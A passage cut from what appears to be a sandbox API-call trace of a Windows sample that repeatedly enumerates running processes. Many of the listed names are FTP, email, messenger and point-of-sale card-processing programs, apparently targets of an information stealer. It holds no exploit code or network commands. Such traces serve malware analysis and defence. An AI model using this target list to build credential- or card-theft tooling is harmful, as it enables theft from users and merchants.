th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0270.645] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0270.646] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0270.648] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0270.649] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0270.651] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0270.653] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0270.654] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0270.656] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0270.657] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0270.695] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0270.697] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0270.698] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0270.700] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0270.701] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0270.703] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0270.705] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0270.706] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0270.708] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0270.709] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0270.711] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0270.713] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0270.714] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0270.716] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0270.717] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0270.719] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0270.721] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0270.722] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0270.724] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0270.725] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0270.727] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0270.728] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0270.730] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0270.732] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0270.733] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0270.734] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0270.736] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0270.743] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0270.745] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0270.746] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0270.747] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0270.749] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0270.750] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0270.752] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0270.753] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0270.755] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0270.756] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0270.757] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0270.759] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0270.760] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0270.761] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0270.763] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0270.764] CloseHandle (hObject=0x344) returned 1 [0270.764] Sleep (dwMilliseconds=0x64) [0270.801] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0270.811] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0270.813] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0270.814] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0270.865] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0270.866] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0270.868] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0270.869] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0270.870] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0270.872] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0270.873] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.874] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.876] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0270.877] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.878] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.880] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.881] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.882] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.884] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.885] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.886] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0270.888] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0270.889] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0270.890] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.892] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0270.893] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0270.895] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0270.897] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0270.898] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.900] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0270.901] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0270.902] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0270.903] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0270.905] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, 